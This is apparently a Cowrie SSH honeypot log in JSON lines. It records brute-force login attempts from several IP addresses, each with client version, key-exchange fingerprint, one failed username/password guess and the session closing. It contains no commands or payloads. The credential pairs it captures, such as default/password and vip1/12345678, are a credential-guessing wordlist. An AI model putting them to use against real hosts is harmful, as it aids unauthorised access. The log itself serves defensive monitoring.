{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:23.828973Z","src_ip":"195.178.110.218","session":"93deee99a8cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:24.053502Z","src_ip":"195.178.110.218","session":"93deee99a8cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:25.131094Z","src_ip":"195.178.110.218","session":"93deee99a8cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.144.91.67","src_port":34384,"dst_ip":"10.17.0.5","dst_port":22,"session":"018625992b67","protocol":"ssh","message":"New connection: 24.144.91.67:34384 (10.17.0.5:22) [session: 018625992b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:25.944459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:25.948375Z","src_ip":"24.144.91.67","session":"018625992b67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:26.018774Z","src_ip":"24.144.91.67","session":"018625992b67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"password","message":"login attempt [default/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:26.334805Z","src_ip":"24.144.91.67","session":"018625992b67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:27.407387Z","src_ip":"24.144.91.67","session":"018625992b67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.153.157.222","src_port":33732,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c609230ed52","protocol":"ssh","message":"New connection: 82.153.157.222:33732 (10.17.0.5:22) [session: 4c609230ed52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:31.723620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:31.728072Z","src_ip":"82.153.157.222","session":"4c609230ed52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:31.818564Z","src_ip":"82.153.157.222","session":"4c609230ed52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethan","password":"Ethan123!","message":"login attempt [ethan/Ethan123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:32.213109Z","src_ip":"82.153.157.222","session":"4c609230ed52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:33.305778Z","src_ip":"82.153.157.222","session":"4c609230ed52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.255.212","src_port":57634,"dst_ip":"10.17.0.5","dst_port":22,"session":"c67dbb3f4e73","protocol":"ssh","message":"New connection: 209.38.255.212:57634 (10.17.0.5:22) [session: c67dbb3f4e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:53.277803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:53.281940Z","src_ip":"209.38.255.212","session":"c67dbb3f4e73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:53.365398Z","src_ip":"209.38.255.212","session":"c67dbb3f4e73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"issabel","password":"12345678","message":"login attempt [issabel/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:53.732117Z","src_ip":"209.38.255.212","session":"c67dbb3f4e73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:54.817941Z","src_ip":"209.38.255.212","session":"c67dbb3f4e73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":36752,"dst_ip":"159.203.135.109","dst_port":22,"session":"43e776cb32a7","protocol":"ssh","message":"New connection: 131.161.249.165:36752 (159.203.135.109:22) [session: 43e776cb32a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:57.441008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:57.446028Z","src_ip":"131.161.249.165","session":"43e776cb32a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:57.570944Z","src_ip":"131.161.249.165","session":"43e776cb32a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jonathan","password":"jonathanpassword","message":"login attempt [jonathan/jonathanpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:58.097568Z","src_ip":"131.161.249.165","session":"43e776cb32a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:45:59.229081Z","src_ip":"131.161.249.165","session":"43e776cb32a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":49868,"dst_ip":"10.17.0.5","dst_port":22,"session":"5eee0ea3d2eb","protocol":"ssh","message":"New connection: 23.249.28.115:49868 (10.17.0.5:22) [session: 5eee0ea3d2eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:46:07.200908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:46:07.205430Z","src_ip":"23.249.28.115","session":"5eee0ea3d2eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:46:07.394070Z","src_ip":"23.249.28.115","session":"5eee0ea3d2eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nikhil","password":"nikhilpass","message":"login attempt [nikhil/nikhilpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:46:08.181350Z","src_ip":"23.249.28.115","session":"5eee0ea3d2eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:46:09.372865Z","src_ip":"23.249.28.115","session":"5eee0ea3d2eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":53288,"dst_ip":"159.203.135.109","dst_port":22,"session":"a668a66aff09","protocol":"ssh","message":"New connection: 34.81.72.185:53288 (159.203.135.109:22) [session: a668a66aff09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:46:12.461175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:46:12.466232Z","src_ip":"34.81.72.185","session":"a668a66aff09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:46:12.658334Z","src_ip":"34.81.72.185","session":"a668a66aff09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prova","password":"12345678","message":"login attempt [prova/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:46:13.458848Z","src_ip":"34.81.72.185","session":"a668a66aff09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:46:14.653685Z","src_ip":"34.81.72.185","session":"a668a66aff09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.144.91.67","src_port":34446,"dst_ip":"10.17.0.5","dst_port":22,"session":"51046a26782a","protocol":"ssh","message":"New connection: 24.144.91.67:34446 (10.17.0.5:22) [session: 51046a26782a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:46:15.227232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:46:15.231962Z","src_ip":"24.144.91.67","session":"51046a26782a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:46:15.311991Z","src_ip":"24.144.91.67","session":"51046a26782a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sambauser","password":"sambauser@123","message":"login attempt [sambauser/sambauser@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:46:15.657880Z","src_ip":"24.144.91.67","session":"51046a26782a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:46:16.737603Z","src_ip":"24.144.91.67","session":"51046a26782a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.238.246.148","src_port":33336,"dst_ip":"10.17.0.5","dst_port":22,"session":"544d439a5583","protocol":"ssh","message":"New connection: 156.238.246.148:33336 (10.17.0.5:22) [session: 544d439a5583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:46:37.205411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:46:37.211791Z","src_ip":"156.238.246.148","session":"544d439a5583","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:46:37.420969Z","src_ip":"156.238.246.148","session":"544d439a5583","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vip1","password":"12345678","message":"login attempt [vip1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:46:38.289970Z","src_ip":"156.238.246.148","session":"544d439a5583","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:46:39.502202Z","src_ip":"156.238.246.148","session":"544d439a5583","protocol":"ssh"}
